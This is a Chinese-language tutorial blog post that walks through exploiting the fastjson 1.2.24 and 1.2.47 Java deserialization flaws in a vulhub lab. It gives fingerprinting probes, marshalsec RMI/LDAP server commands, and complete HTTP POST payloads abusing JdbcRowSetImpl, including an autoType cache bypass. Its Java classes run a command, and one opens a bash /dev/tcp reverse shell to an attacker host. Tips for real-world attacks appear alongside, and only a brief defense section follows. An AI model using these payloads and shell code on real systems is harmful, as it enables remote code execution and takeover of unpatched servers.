fastjson反序列化漏洞


在这里插入图片描述

一、fastjson 1.2.24反序列化漏洞

1.1 漏洞简介

1.1.1 漏洞阐述

  FastJson是alibaba开源的一款开源的高性能的JSON库,用于将java对象转换为json形式,也可以用来将json转换为java对象,很多公司都在使用,于2017年4月18号爆出存在此漏洞。

  • https://github.com/alibaba/fastjson

1.1.2 影响版本

  • FastJson < 1.2.24

1.1.3 漏洞原理

  fastjson在解析json过程中,支持使用autoType来实例化某一个具体的类,并通过json来填充其属性值。而JDK自带的类com.sun.org.apache.xalan.internal.xsltc.trax.Templateslmpl中有一个私有属性 _bytecodes,其部分方法会执行这个值中包含的Java字节码。

1.1.4 指纹特征

A. 有回显

通过构造错误的POST请求体,服务器返回报错中查看是否存在fastjson字样

正常请求如下,是get的请求且没有请求体,我们通过构造错误的POST请求即可查看返回包中有解析失败,fastjson字样:
在这里插入图片描述

B. 无回显

(方法一:通过DOS延迟方式)

fastjson在版本<1.2.60在取不到值的时候会填充\u001a,发生DOS,我们可以构造请求,通过响应延迟来判断是否使用的fastjson

》》无构造的正常请求返回时间,28ms(这里Fiddler演示,Burp可以通过Repeater模块右下方观察)
在这里插入图片描述
》》构造错误的POST请求体返回时间,15ms(可见随意的错误请求不奏效)
在这里插入图片描述
在这里插入图片描述
》》通过 {“a”:"\x 触发DOS,585ms,和正常的和错误的请求响应时间差太多,由此来判断使用了fastjson解析器
在这里插入图片描述
在这里插入图片描述


(方法二:通过DNS回显方式)

通过DNS回显的方式检测后端是否使用的fastjson

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
C. 小技巧

如何判断使用的Fastjson还是Jackson?
Jackson相对比较严格,强制key和javabean属性对齐,只能少不能多key

》》fastjson多key不会报错,我们可以多构造一个,因此大概率判断为fastjson(没有其它json解析库的情况下)
在这里插入图片描述

1.1.5 限制条件

  要想使用Templateslmpl的_bytecodes属性执行任意命令,条件:

  1. 站点使用fastjson库解析json
  2. 解析时设置了Feature.SupoortNonPublicField(否则不支持传入私有属性)
  3. 目标jdk中存在Templateslmpl类(不排除其它不需要Templateslmpl的利用方法)

1.2 环境搭建

  • 受害者IP:192.168.159.129(vulhub、docker)
  • 攻击者IP:192.168.123.192(marshalsec、nc、web服务)

》》在如下目录下启动靶机
在这里插入图片描述
》》拉起靶机环境
在这里插入图片描述
》》查看端口服务
在这里插入图片描述
》》浏览器访问目的地址(如下搭建成功)
在这里插入图片描述

1.3 漏洞利用

1.3.1 利用准备

A. RMI/LDAP服务器准备

Tips:实战环境中建议使用LDAP协议

》》下载marshalsec项目

git clone https://github.com/mbechler/marshalsec.git

》》安装配置mvn(略)
》》进入marshalsec目录,使用mvn编译msrshalsec的jar包
在这里插入图片描述
(编译完成)
在这里插入图片描述
(编译完成生成的文件)
在这里插入图片描述

B. POC/EXP编译构造

》》IDEA中新建一个项目
在这里插入图片描述
》》选择java项目
在这里插入图片描述
》》点击下一步
》》创建项目名称和位置
在这里插入图片描述
》》项目目录下创建一个文件夹,命名src
》》src目录下新建一个java文件(根据exp操作命名,这里是TouchFile[目的是目标主机上创建一个文件])
在这里插入图片描述
》》TouchFile类如下:(commands中存放执行的命令)

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

在这里插入图片描述
(编译生成class文件,方法一)
》》使用javac将java文件编译成class文件
在这里插入图片描述
(编译生成class文件,方法二)
》》项目目录下再次创建output目录(存放编译生成的class文件)
在这里插入图片描述
》》设置编译路径
在这里插入图片描述
在这里插入图片描述
》》运行编译TouchFile文件
在这里插入图片描述
在这里插入图片描述
》》便会在output中生成class文件
在这里插入图片描述

C Web服务器准备

》》启动一个web服务,将恶意的class文件放入站点的主目录(www目录,这里使用的phpstudy创建的web服务)

1.3.2 漏洞利用一(执行命令)

》》打开命令行窗口:使用marshalsec项目,启动一个RMI服务器,监听9999端口并定制加载远程类)

Tips:实战环境中建议使用LDAP协议

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.123.192/#Exploit" 9999

(已经开始监听9999端口)
在这里插入图片描述

注意上边的#

  • 攻击请求包构造 / 发送攻击载荷(方式一)
    》》抓取GET请求数据包,将GET请求通过Fiddler(其它抓包工具也可以)改为POST请求,并在请求体中添加如下json数据,dataSourceName的值中指定rmi服务器的地址
    在这里插入图片描述
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.123.192:9999/TouchFile",
        "autoCommit":true
    }
}

(HTTP状态码返回 500)
在这里插入图片描述

Tips:
如果没成功可以尝试在请求头中指定MIME类型为json:
Content-Type: application/json

流量攻击流程:
请求数据包将请求体中的json数据传给受害服务器,受害服务器会将请求重定向到攻击者的RMI服务器,RMI服务器从监听的9999端口中加载远程类TouchFile并重定向到web服务器,fastjson将下载TouchFile,解析运行。


  • 攻击请求包构造 / 发送攻击载荷(方式二)
    》》直接向服务器发送构造的如下数据
POST / HTTP/1.1
Host: 192.168.159.129:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.123.192:9999/TouchFile",
        "autoCommit":true
    }
}

Tips:注意修改上边的HOST地址和rmi地址

》》可以看到RMI服务器成功传值到受害者服务器
在这里插入图片描述
》》成功在受害者服务器中执行命令
在这里插入图片描述

1.3.3 漏洞利用二(反弹shell)

》》编译生成的class java文件的类如下(exec中为反弹连接的shell地址):

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.123.192/19111 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

Tips:这里反弹shell的端口尽量不要指定8888、8080等常用web端口

在这里插入图片描述
》》将编译生成的Exploit.class文件放入web服务器主目录
》》事先准备好两个命令行窗口
》》窗口一:nc监听19111端口
在这里插入图片描述
》》窗口二:启动RMI服务监听9999端口
在这里插入图片描述
》》构造并发送数据包到目标服务器

POST / HTTP/1.1
Host: 192.168.159.129:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.123.192:9999/Exploit",
        "autoCommit":true
    }
}

》》成功接到shell
在这里插入图片描述

1.4 防御建议

  • 将fastjson升级到最新版本
  • 升级JDK版本到 11.0.1 / 6u211 / 7u201 / 8u191

官方补丁中将loadClass替换为了config.checkAutoType(typeName),并且扩充了黑名单列表,将传入的类名和黑名单中一一比较,如果发现了相同的开头就停止反序列化。

二、fastjson 1.2.47反序列化漏洞

2.1 漏洞简介

  fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type"指定反序列化的类型。其次,fastjson自定义的反序列化机制时会调用指定类中的setter方法和部分getter方法。因此,当组件开启了autotype功能并且反序列化不可信数据时,便可构造恶意序列化的数据,使代码执行流程进入特定类的特定setter或者getter方法中,如果指定类的指定方法中有可以被利用的逻辑(通常说的“Gadget”)则会造成安全问题。fastjson 1.2.47以下版本中,利用缓存机制可以对未开启autotype功能绕过。

2.2 影响版本

  • fastjson < 1.2.47

2.3 环境搭建

攻击者:192.168.1.101(win10)
受害者:192.168.159.129(vulhub、docker)

》》进入环境目录,docker拉起环境
在这里插入图片描述
》》浏览器访问目标端口
在这里插入图片描述

2.4 攻击过程

》》启动一个web服务器,将编译的class类文件放入主目录下(TouchFile.class)

》》marshalsec启动一个RMI/LDAP服务,监听9999端口,并加载远程类TouchFile

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.101/#TouchFile" 9999

在这里插入图片描述
》》向目标服务器发送构造的攻击载荷
在这里插入图片描述

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.1.101:9999/TouchFile",
        "autoCommit":true
    }
}

》》成功执行命令
在这里插入图片描述
在这里插入图片描述

三、注意事项

  1. 尽量使用和目标服务器相同的jdk版本
  • 攻击者环境:Java 8u201
    在这里插入图片描述
  • 受害者环境:Java 8u102
    在这里插入图片描述
  1. 当运行RMI的服务器Java版本过高会无法运行RMI服务,虽然显示在监听,但是fastjson的 JNDI会报错,显示无法获取到资源。

  2. 优先使用LDAP协议
    实战中优先使用LDAP协议进行漏洞利用,原因是:
    RMI协议利用方式在JDK 6u132 / 7u122 / 8u113及以上版本中已修复
    LDAP协议利用方式在JDK 6u211 / 7u201 / 8u191及以上版本中已修复
    且LDAP可以直接返回序列化对象,绕过对方使用的更高版本的JDK限制。

    (RMI和LDAP两种服务协议启动方式)
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.1.101/#TouchFile” <port>

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://IP/#Exploit” <port>

  3. 高版本JDK绕过方法
    https://www.freebuf.com/column/207439.html


参考文章:
https://blog.csdn.net/w1590191166/article/details/105016535
https://github.com/CaijiOrz/fastjson-1.2.47-RCE
https://cloud.tencent.com/developer/article/1553664

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章